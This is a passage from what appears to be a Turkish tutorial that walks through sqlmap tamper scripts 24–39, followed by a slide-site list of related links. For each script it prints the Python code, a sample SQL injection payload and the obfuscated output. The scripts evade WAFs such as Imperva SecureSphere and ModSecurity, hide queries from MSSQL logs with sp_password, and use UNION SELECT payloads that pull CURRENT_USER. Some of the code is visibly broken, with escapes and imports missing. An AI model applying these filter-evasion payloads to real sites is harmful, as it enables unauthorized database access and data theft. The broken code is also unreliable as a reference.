IN/**/SER/**/T 
IN/**/SE/**/RT 
I/**/NSE/**/T gibi random olarak bypass işlemini gerçekleştirir.
24)securesphere.py 
#!/usr/bin/env python 
""" 
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) 
See the file 'doc/COPYING' for copying permission 
""" 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.NORMAL 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
""" 
Appends special crafted string 
Notes: 
* Useful for bypassing Imperva SecureSphere WAF 
* Reference: http://seclists.org/fulldisclosure/2011/May/163 
""" 
return payload + " and '0having'='0having'" if payload else payload 
>>> tamper('1 AND 1=1') 
>>>"1 AND 1=1 and '0having'='0having'" 
Bu bypass referansta verildigi gibi 2011 yılında bulunmuştur.Referansı biraz inceleyerek yorum yapacak 
olursak. 
[Vulnerability Details] 
the vector: 15 and '1'=(SELECT '1' FROM dual) and '0having'='0having' 
won't be classified as malicious and will bypass the SQL Injection filter. 
[Summary] 
Due to a typo in one of the rules of the sql injection engine the WAF 
can be bypassed by appending a specially crafted string. 
Yani şu durum çıkıyor ortaya AND 1=1 kabul edilmedi tekrar and koyuyoruz ve, 
"Specially crafted string." <-- özet kısmındanki şu kısmı gerçekleştiriyoruz.Ortaya 
çıkan sonuç şu oluyor: 
AND 1=1 and '0having'='0having' <-- Hedefe yolladıgımız komut bu.Hedef birinci 
eşitligi kabul etmedigi için özel hazırlanmış bir eşitlik veriyoruz.Yani hedefin gördügü aslında sadece bu: 
'0having'='0having' 
Bundan sonra noluyor derseniz birinci eşitligi kabul etmediginden daha sonra bu kısma bakıyor.Bunlar eşitmi ? 
diyor.Bakıyor bunlar eşit sonuç şudur diyor.Ve bypass işlemi başarılı !
25)sp_passwords.py 
#!/usr/bin/env python 
""" 
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) 
See the file 'doc/COPYING' for copying permission 
""" 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGH 
def tamper(payload, **kwargs): 
""" 
Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs 
Requirement: 
* MSSQL 
Notes: 
* Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure 
* Reference: http://websec.ca/kb/sql_injection 
""" 
retVal = "" 
if payload: 
retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") 
return retVal 
>>> tamper('1 AND 9227=9227-- ') 
>>>'1 AND 9227=9227-- sp_password' 
Farklı bir bypass çeşidiyle karşı karşıyayız. 
SP_PASSWORD (Hiding Query) 
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure. 
SP_PASSWORD 
Example: 
' AND 1=1--sp_password 
Output: 
-- 'sp_password' was found in the text of this event. 
-- The text has been replaced with this comment for security reasons. 
Bu tip bypasslar için http://websec.ca/kb/sql_injection linkinden hepsini tamamen okumanızı tavsiye ederim.
26)versionmorekeywords.py 
#!/usr/bin/env python 
import os 
import re 
__priority__ = PRIORITY.HIGHER 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s >= 5.1.13" % 
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 
def tamper(payload, **kwargs): 
def process(match): 
word = match.group('word') 
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: 
return match.group().replace(word, "/*!%s*/" % word) 
else: 
return match.group() 
retVal = payload 
if payload: 
retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), retVal) 
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") 
return retVal 
>>> tamper('1 UNION ALL SELECT NULL, NULL, 
CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS 
CHAR),CHAR(32)),CHAR(58,115,114,121,58))#') 
>>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*! 
IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#' 
*Encloses each keyword with versioned MySQL comment* 
Mysql comment dedigi /*! KOMUT */ şeklinde düzenlemede başa ve sona gelen ifadelerdir.Böyle bol ve 
tekrarlı komutların oldugu durumlarda herhangibi bir komut engellenirse komutumuzun içinde birden fazla 
olacagından hepsine mysql comment 'i ekleyerek bypass ediyor scriptimiz.
27)space2comments.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
retVal = "" 
quote, doublequote, firstspace = False, False, False 
for i in xrange(len(payload)): 
if not firstspace: 
if payload[i].isspace(): 
firstspace = True 
retVal += "/**/" 
continue 
elif payload[i] == ''': 
quote = not quote 
elif payload[i] == '"': 
doublequote = not doublequote 
elif payload[i] == " " and not doublequote and not quote: 
retVal += "/**/" 
continue 
retVal += payload[i] 
return retVal 
>>> tamper('SELECT id FROM users') 
>>>'SELECT/**/id/**/FROM/**/users' 
*Replaces space character (' ') with comments '/**/'* 
Yani bütün boşlukları dolduruyor çogu amatörü durdurabilecek bir firewalldır.Çünkü istediginiz kadar 
komut yazın çalışmaz.Ama aslında komutlarınızla ilgili bi durum degildir bu sadece url içindeki 
boşluklar firewall tarafından engellenmiştir ..
28)space2dash.py 
#!/usr/bin/env python 
import random 
import string 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def tamper(payload, **kwargs): 
""" 
Replaces space character (' ') with a dash comment ('--') followed by 
a random string and a new line ('n') 
""" 
retVal = "" 
if payload: 
for i in xrange(len(payload)): 
if payload[i].isspace(): 
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in 
xrange(random.randint(6, 12))) 
retVal += "--%s%%0A" % randomStr 
elif payload[i] == '#' or payload[i:i + 3] == '-- ': 
retVal += payload[i:] 
break 
else: 
retVal += payload[i] 
return retVal 
>>> tamper('1 AND 9227=9227') 
>>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
Yorumdan ilerleyerek ele alalım. 
Replaces space character (' ') with a dash comment ('--') followed by 
a random string and a new line ('n') 
Boşlukları dash = tire ile degiştiriyorum,devamında ise random bir string = dize sıkıştıyorum araya, devamında ise 
yapacagım şey new line = boş satır bırakmak diyor. 
Sonuç: 
>>>'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'
29)space2hash.py 
#!/usr/bin/env python 
import os 
import random 
import string 
from lib.core.common import singleTimeWarnMessage 
from lib.core.enums import DBMS 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % 
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 
def tamper(payload, **kwargs): 
retVal = "" 
if payload: 
for i in xrange(len(payload)): 
if payload[i].isspace(): 
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in 
xrange(random.randint(6, 12))) 
retVal += "%%23%s%%0A" % randomStr 
elif payload[i] == '#' or payload[i:i + 3] == '-- ': 
retVal += payload[i:] 
break 
else: 
retVal += payload[i] 
return retVal 
>>> tamper('1 AND 9227=9227') 
>>'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227' 
Bir önceki işlemin benzer bir versiyonu bu. 
Replaces space character (' ') with a pound character ('#') followed by a random string and a new 
line ('n') 
Notes: 
* Useful to bypass several web application firewalls 
* Used during the ModSecurity SQL injection challenge, 
http://modsecurity.org/demo/challenge.html
30)space2morehash.py 
#!/usr/bin/env python 
__priority__ = PRIORITY.LOW 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s > 5.1.13" % 
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 
def tamper(payload, **kwargs): 
def process(match): 
word = match.group('word') 
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in 
xrange(random.randint(6, 12))) 
if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: 
return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr)) 
else: 
return match.group() 
retVal = "" 
if payload: 
payload = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=W|Z)", lambda match: process(match), payload) 
for i in xrange(len(payload)): 
if payload[i].isspace(): 
randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in 
xrange(random.randint(6, 12))) 
retVal += "%%23%s%%0A" % randomStr 
elif payload[i] == '#' or payload[i:i + 3] == '-- ': 
retVal += payload[i:] 
break 
else: 
retVal += payload[i] 
return retVal 
>>> tamper('1 AND 9227=9227') 
>>>'1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227' 
Bir önceki kodlardan tek farkını tahmin etmissinizdir.Sadece daha fazla random string ifadeyi araya 
sokuşturuyor. 
space2hash = retVal += "%%23%s%%0A" % randomStr 
space2morehash= return match.group().replace(word, "%s%%23%s%%0A" % (word, randomStr))
31)space2mssqlblank.py 
def tamper(payload, **kwargs): 
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '% 
0A') 
retVal = payload 
if payload: 
retVal = "" 
quote, doublequote, firstspace, end = False, False, False, False 
for i in xrange(len(payload)): 
if not firstspace: 
if payload[i].isspace(): 
firstspace = True 
retVal += random.choice(blanks) 
continue 
elif payload[i] == ''': 
quote = not quote 
elif payload[i] == '"': 
doublequote = not doublequote 
elif payload[i] == '#' or payload[i:i + 3] == '-- ': 
end = True 
elif payload[i] == " " and not doublequote and not quote: 
if end: 
retVal += random.choice(blanks[:-1]) 
else: 
retVal += random.choice(blanks) 
continue 
retVal += payload[i] 
return retVal 
# ASCII table: 
# SOH 01 start of heading 
# STX 02 start of text 
# ETX 03 end of text 
# EOT 04 end of transmission 
# ENQ 05 enquiry 
# ACK 06 acknowledge 
# BEL 07 bell 
# BS 08 backspace 
# TAB 09 horizontal tab 
# LF 0A new line 
# VT 0B vertical TAB 
# FF 0C new page 
# CR 0D carriage return 
# SO 0E shift out 
# SI 0F shift in 
>>> tamper('SELECT id FROM users') 
>>>'SELECT%0Eid%0DFROM%07users' 
Replaces space character (' ') with a random blank character from a 
valid set of alternate characters 
Açıklamada anlattıgı gibi araya ascıı karakterlerden "anlamsız" ifadeler sokarak bypass ediyor. 
Eger dikkatli ve gerçekten ögrenmek isteyen bir insansanız şunu fark etmissinizdir.Ascıı tablosunu yukarıda 
gösterdim.Şunu görmüstünüz %0A önceki iki scriptimizde new line yerini tutuyordu.Demek ki ascii 
karaktermiş bunuda bi köşeye not edelim ..
32)space2mssqlhash.py 
#!/usr/bin/env python 
""" 
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) 
See the file 'doc/COPYING' for copying permission 
""" 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def tamper(payload, **kwargs): 
""" 
Replaces space character (' ') with a pound character ('#') followed by 
a new line ('n') 
Requirement: 
* MSSQL 
* MySQL 
Notes: 
* Useful to bypass several web application firewalls 
""" 
retVal = "" 
if payload: 
for i in xrange(len(payload)): 
if payload[i].isspace(): 
retVal += "%23%0A" 
elif payload[i] == '#' or payload[i:i + 3] == '-- ': 
retVal += payload[i:] 
break 
else: 
retVal += payload[i] 
return retVal 
>>> tamper('1 AND 9227=9227') 
>>>'1%23%0AAND%23%0A9227=9227 
Replaces space character (' ') with a pound character ('#') followed by a new line ('n') 
Gördügünüz gibi bütün bypasslar birbirine benziyor ama hiçbiri aynı degil.Boşlukları # ile degiştiriyor. 
Ama diyeceksiniz ki içinde # yok.Çünkü urldecode işlemi yapılmış buda %23 'e karşılık geliyor.%0A 'yı 
zaten önceki script anlatımımda ögrendiginizi umut ediyorum ..
33)space2mysqlblank.py 
def tamper(payload, **kwargs): 
blanks = ('%09', '%0A', '%0C', '%0D', '%0B') 
retVal = payload 
if payload: 
retVal = "" 
quote, doublequote, firstspace = False, False, False 
for i in xrange(len(payload)): 
if not firstspace: 
if payload[i].isspace(): 
firstspace = True 
retVal += random.choice(blanks) 
continue 
elif payload[i] == ''': 
quote = not quote 
elif payload[i] == '"': 
doublequote = not doublequote 
elif payload[i] == " " and not doublequote and not quote: 
retVal += random.choice(blanks) 
continue 
retVal += payload[i] 
return retVal 
# ASCII table: 
# TAB 09 horizontal TAB 
# LF 0A new line 
# FF 0C new page 
# CR 0D carriage return 
# VT 0B vertical TAB (MySQL and Microsoft SQL Server only) 
Bunu daha önce görmüstük.Ama mssql için ayarlanmış tabloda bypasslar gerçekleşiyordu.Bu bypass scripti 
sadece MySQL 'de bypass yapıyor. 
>>> tamper('SELECT id FROM users') 
>>>'SELECT%0Bid%0DFROM%0Cusers' 
Requirement: 
* MySQL 
Tested against: 
* MySQL 5.1
34)space2mysqldash.py 
#!/usr/bin/env python 
""" 
Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) 
See the file 'doc/COPYING' for copying permission 
""" 
import os 
from lib.core.common import singleTimeWarnMessage 
from lib.core.enums import DBMS 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % 
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 
def tamper(payload, **kwargs): 
retVal = "" 
if payload: 
for i in xrange(len(payload)): 
if payload[i].isspace(): 
retVal += "--%0A" 
elif payload[i] == '#' or payload[i:i + 3] == '-- ': 
retVal += payload[i:] 
break 
else: 
retVal += payload[i] 
return retVal 
Gene sadece mysql serverlar için yazılmış özel bir script.Bu sefer bypass çeşidi farklı yapılandırılmış. 
>>> tamper('1 AND 9227=9227') 
>>'1--%0AAND--%0A9227=9227' 
Replaces space character (' ') with a dash comment ('--') followed by 
a new line ('n') 
Bu cümle ve benzerini bolca duydunuz birşey üzerinden bolca bypass çeşidi çıkartırlmış.Buda sqlnin 
geniş yapısını anlatmaya yetiyor. SQL komutlarında "--" (çift tire) yorum satırı olarak geçer.
35)space2plus.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
retVal = "" 
quote, doublequote, firstspace = False, False, False 
for i in xrange(len(payload)): 
if not firstspace: 
if payload[i].isspace(): 
firstspace = True 
retVal += "+" 
continue 
elif payload[i] == ''': 
quote = not quote 
elif payload[i] == '"': 
doublequote = not doublequote 
elif payload[i] == " " and not doublequote and not quote: 
retVal += "+" 
continue 
retVal += payload[i] 
return retVal 
>>> tamper('SELECT id FROM users') 
>>> 'SELECT+id+FROM+users' 
Replaces space character (' ') with plus ('+') 
Boşlukları + ile koyarak en temel bypass çeşitlerinden birini gerçekleştiriyor. 
Notes: 
* Is this any useful? The plus get's url-encoded by sqlmap engine 
invalidating the query afterwards 
* This tamper script works against all databases 
Tabi bu genede bypassmı be ! Diyenler için notta düşülmüş.
36)unionalltounion.py 
#!/usr/bin/env python 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHEST 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
return payload.replace("UNION ALL SELECT", "UNION SELECT") if payload else payload 
>>> tamper('-1 UNION ALL SELECT') 
>>>'-1 UNION SELECT' 
Bu scriptin işlevini bir bakışta herkez anlayabilir ama inanın bazen sadece "ALL" yüzünden bile hata 
alabilirisiniz.Kaldıki programlar zeki degildir eger ki içinde olmayan birşeyse anlayamaz veya devam 
ettiremez.Şimdi sizin gözünüzde çok basit bir script olabilir ama buraya kadar anlattıgım tüm scriptlerin 
birbirine baglı oldugunu düşünün ? Ayrıca bu sqlmap'ın sadece bir dosyası bunuda unutmayalım. 
37)unmagicquotes.py 
def tamper(payload, **kwargs): 
retVal = payload 
if payload: 
found = False 
retVal = "" 
for i in xrange(len(payload)): 
if payload[i] == ''' and not found: 
retVal += "%bf%27" 
found = True 
else: 
retVal += payload[i] 
continue 
if found: 
_ = re.sub("(?i)s*(AND|OR)[s(]+'[^']+'s*(=|LIKE)s*'.*", "", retVal) 
if _ != retVal: 
retVal = _ 
retVal += "-- " 
return retVal 
>>> tamper("1' AND 1=1") 
>>>'1%bf%27 AND 1=1-- ' 
""" 
Replaces quote character (') with a multi-byte combo %bf%27 
together with generic comment at the end (to make it work) 
""" 
""" 
Reference: 
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string 
""" 
#Referans linklerini incelemeniz 
#gerekiyor.
38)versionedkeywords.py 
#!/usr/bin/env python 
import os 
import re 
from lib.core.common import singleTimeWarnMessage 
from lib.core.data import kb 
from lib.core.enums import DBMS 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.HIGHER 
def dependencies(): 
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % 
(os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) 
def tamper(payload, **kwargs): 
def process(match): 
word = match.group('word') 
if word.upper() in kb.keywords: 
return match.group().replace(word, "/*!%s*/" % word) 
else: 
return match.group() 
retVal = payload 
if payload: 
retVal = re.sub(r"(?<=W)(?P<word>[A-Za-z_]+)(?=[^w(]|Z)", lambda match: process(match), retVal) 
retVal = retVal.replace(" /*!", "/*!").replace("*/ ", "*/") 
return retVal 
Sadece MySQL serverlar için özel bypass scriptidir. 
>>> tamper('1 UNION ALL SELECT NULL, NULL, 
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS 
CHAR),CHAR(32)),CHAR(58,100,114,117,58))#') 
>>>'1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, 
CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*! 
CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#' 
Aslında scriptler birbirine benzesede dikkatli incelerseniz hiçbirinin aynı olmadıgına emin olabilirsiniz.
39)space2randomblank.py 
#!/usr/bin/env python 
import random 
from lib.core.enums import PRIORITY 
__priority__ = PRIORITY.LOW 
def dependencies(): 
pass 
def tamper(payload, **kwargs): 
# ASCII table: 
# TAB 09 horizontal TAB 
# LF 0A new line 
# FF 0C new page 
# CR 0D carriage return 
blanks = ("%09", "%0A", "%0C", "%0D") 
retVal = payload 
if payload: 
retVal = "" 
quote, doublequote, firstspace = False, False, False 
for i in xrange(len(payload)): 
if not firstspace: 
if payload[i].isspace(): 
firstspace = True 
retVal += random.choice(blanks) 
continue 
elif payload[i] == ''': 
quote = not quote 
elif payload[i] == '"': 
doublequote = not doublequote 
elif payload[i] == ' ' and not doublequote and not quote: 
retVal += random.choice(blanks) 
continue 
retVal += payload[i] 
return retVal 
""" 
Tested against: 
* Microsoft SQL Server 2005 
* MySQL 4, 5.0 and 5.5 
* Oracle 10g 
* PostgreSQL 8.3, 8.4, 9.0 
""" 
>>> tamper('SELECT id FROM users') 
>>>'SELECT%0Did%0DFROM%0Ausers' 
#Her bypass çeşidi test edilmiştir. 
#Gördügünüz gibi bu scriptlerin hepsi sqlmap'a 
#tamamen baglıdır. 
#39 farklı bypass yöntemini gördük artık sqlmapın 
#nasıl bypass yaptıgını tamamen biliyorsunuz.
THE END

More Related Content

What's hot

GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMABGA Cyber Security
 
Mutant Web Applications
Mutant Web ApplicationsMutant Web Applications
Mutant Web Applicationsguest096801
 
Heap Overflow Zafiyetleri & Exploiting
Heap Overflow Zafiyetleri & ExploitingHeap Overflow Zafiyetleri & Exploiting
Heap Overflow Zafiyetleri & ExploitingSignalSEC Ltd.
 
Delphi ileri seviye programlama bölmü 3
Delphi ileri seviye programlama bölmü 3 Delphi ileri seviye programlama bölmü 3
Delphi ileri seviye programlama bölmü 3 wqphnrdo
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMABGA Cyber Security
 
Binary Modification [Patching]
Binary Modification [Patching]Binary Modification [Patching]
Binary Modification [Patching]BGA Cyber Security
 

What's hot (11)

EXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATIONEXPLOIT POST EXPLOITATION
EXPLOIT POST EXPLOITATION
 
Holynix v1
Holynix v1Holynix v1
Holynix v1
 
PostgreSQL'i öğrenmek ve yönetmek
PostgreSQL'i öğrenmek ve yönetmekPostgreSQL'i öğrenmek ve yönetmek
PostgreSQL'i öğrenmek ve yönetmek
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMA
 
Mutant Web Applications
Mutant Web ApplicationsMutant Web Applications
Mutant Web Applications
 
Heap Overflow Zafiyetleri & Exploiting
Heap Overflow Zafiyetleri & ExploitingHeap Overflow Zafiyetleri & Exploiting
Heap Overflow Zafiyetleri & Exploiting
 
PostgreSQL Hem Güçlü Hem Güzel!
PostgreSQL Hem Güçlü Hem Güzel!PostgreSQL Hem Güçlü Hem Güzel!
PostgreSQL Hem Güçlü Hem Güzel!
 
PostgreSQL DBA Neler Yapar?
PostgreSQL DBA Neler Yapar?PostgreSQL DBA Neler Yapar?
PostgreSQL DBA Neler Yapar?
 
Delphi ileri seviye programlama bölmü 3
Delphi ileri seviye programlama bölmü 3 Delphi ileri seviye programlama bölmü 3
Delphi ileri seviye programlama bölmü 3
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Binary Modification [Patching]
Binary Modification [Patching]Binary Modification [Patching]
Binary Modification [Patching]
 

Viewers also liked

DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshoptestuser1223
 
Web For Pentester ile Web Uygulama Güvenliğine Giriş
Web For Pentester ile Web Uygulama Güvenliğine GirişWeb For Pentester ile Web Uygulama Güvenliğine Giriş
Web For Pentester ile Web Uygulama Güvenliğine GirişUmut Ergin
 
Web for Pentester 2 ile Web Uygulama Güvenligine Giris
Web for Pentester 2 ile Web Uygulama Güvenligine GirisWeb for Pentester 2 ile Web Uygulama Güvenligine Giris
Web for Pentester 2 ile Web Uygulama Güvenligine GirisUmut Ergin
 
Memcache Injection (Hacktrick'15)
Memcache Injection (Hacktrick'15)Memcache Injection (Hacktrick'15)
Memcache Injection (Hacktrick'15)Ömer Çıtak
 
Shodan Search Engine: Amphion Forum San Francisco
Shodan Search Engine: Amphion Forum San FranciscoShodan Search Engine: Amphion Forum San Francisco
Shodan Search Engine: Amphion Forum San Franciscoshawn_merdinger
 
Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)
Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)
Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)Ömer Çıtak
 
Bilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği MetasploitBilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği Metasploitmsoner
 
Web Uygulama Güvenliği (Akademik Bilişim 2016)
Web Uygulama Güvenliği (Akademik Bilişim 2016)Web Uygulama Güvenliği (Akademik Bilişim 2016)
Web Uygulama Güvenliği (Akademik Bilişim 2016)Ömer Çıtak
 
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu KurulumuLinux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu KurulumuAhmet Gürel
 
Hackerların Gözünden Bilgi Güvenliği
Hackerların Gözünden Bilgi GüvenliğiHackerların Gözünden Bilgi Güvenliği
Hackerların Gözünden Bilgi GüvenliğiBGA Cyber Security
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma  ve Alınacak DerslerGüvenlik Sistemlerini Atlatma  ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma ve Alınacak DerslerBGA Cyber Security
 
APT Saldırıları Karşısında Güvenlik Sistemlerin Yetersiziliği
APT Saldırıları Karşısında Güvenlik Sistemlerin YetersiziliğiAPT Saldırıları Karşısında Güvenlik Sistemlerin Yetersiziliği
APT Saldırıları Karşısında Güvenlik Sistemlerin YetersiziliğiBGA Cyber Security
 
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İncelemeBilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İncelemeBGA Cyber Security
 

Viewers also liked (20)

SQL Enjeksiyona karşi savunma
SQL Enjeksiyona karşi savunmaSQL Enjeksiyona karşi savunma
SQL Enjeksiyona karşi savunma
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)
Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)
Can Yıldızlı - Koryak Uzan - Fiziksel Sızma Testi (İntelRad)
 
Web For Pentester ile Web Uygulama Güvenliğine Giriş
Web For Pentester ile Web Uygulama Güvenliğine GirişWeb For Pentester ile Web Uygulama Güvenliğine Giriş
Web For Pentester ile Web Uygulama Güvenliğine Giriş
 
Web for Pentester 2 ile Web Uygulama Güvenligine Giris
Web for Pentester 2 ile Web Uygulama Güvenligine GirisWeb for Pentester 2 ile Web Uygulama Güvenligine Giris
Web for Pentester 2 ile Web Uygulama Güvenligine Giris
 
Memcache Injection (Hacktrick'15)
Memcache Injection (Hacktrick'15)Memcache Injection (Hacktrick'15)
Memcache Injection (Hacktrick'15)
 
Shodan Search Engine: Amphion Forum San Francisco
Shodan Search Engine: Amphion Forum San FranciscoShodan Search Engine: Amphion Forum San Francisco
Shodan Search Engine: Amphion Forum San Francisco
 
Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)
Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)
Bir Şeyi Hacklemek (DEU ACM Bilişim Günleri 2016)
 
Bilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği MetasploitBilgi Sistemleri Güvenliği Metasploit
Bilgi Sistemleri Güvenliği Metasploit
 
Web Uygulama Güvenliği (Akademik Bilişim 2016)
Web Uygulama Güvenliği (Akademik Bilişim 2016)Web Uygulama Güvenliği (Akademik Bilişim 2016)
Web Uygulama Güvenliği (Akademik Bilişim 2016)
 
SQL Injection Defense in Python
SQL Injection Defense in PythonSQL Injection Defense in Python
SQL Injection Defense in Python
 
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu KurulumuLinux'a Giris ve VirtualBox a Ubuntu Kurulumu
Linux'a Giris ve VirtualBox a Ubuntu Kurulumu
 
Web Uygulama Pentest Eğitimi
Web Uygulama Pentest EğitimiWeb Uygulama Pentest Eğitimi
Web Uygulama Pentest Eğitimi
 
BackTrack Linux-101 Eğitimi
BackTrack Linux-101 EğitimiBackTrack Linux-101 Eğitimi
BackTrack Linux-101 Eğitimi
 
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMUBTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
BTRISK ISO27001 UYGULAMA EGITIMI SUNUMU
 
Web Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liğiWeb Uygulama Güven(siz)liği
Web Uygulama Güven(siz)liği
 
Hackerların Gözünden Bilgi Güvenliği
Hackerların Gözünden Bilgi GüvenliğiHackerların Gözünden Bilgi Güvenliği
Hackerların Gözünden Bilgi Güvenliği
 
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma  ve Alınacak DerslerGüvenlik Sistemlerini Atlatma  ve Alınacak Dersler
Güvenlik Sistemlerini Atlatma ve Alınacak Dersler
 
APT Saldırıları Karşısında Güvenlik Sistemlerin Yetersiziliği
APT Saldırıları Karşısında Güvenlik Sistemlerin YetersiziliğiAPT Saldırıları Karşısında Güvenlik Sistemlerin Yetersiziliği
APT Saldırıları Karşısında Güvenlik Sistemlerin Yetersiziliği
 
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İncelemeBilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
Bilişim Sistemlerinde Adli Bilişim Analizi ve Bilgisayar Olayları İnceleme
 

Similar to Sqlmap Analiz

W3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIW3af ile Web Uygulama Güvenlik Testleri – II
W3af ile Web Uygulama Güvenlik Testleri – IIBGA Cyber Security
 
10. istisna isleme
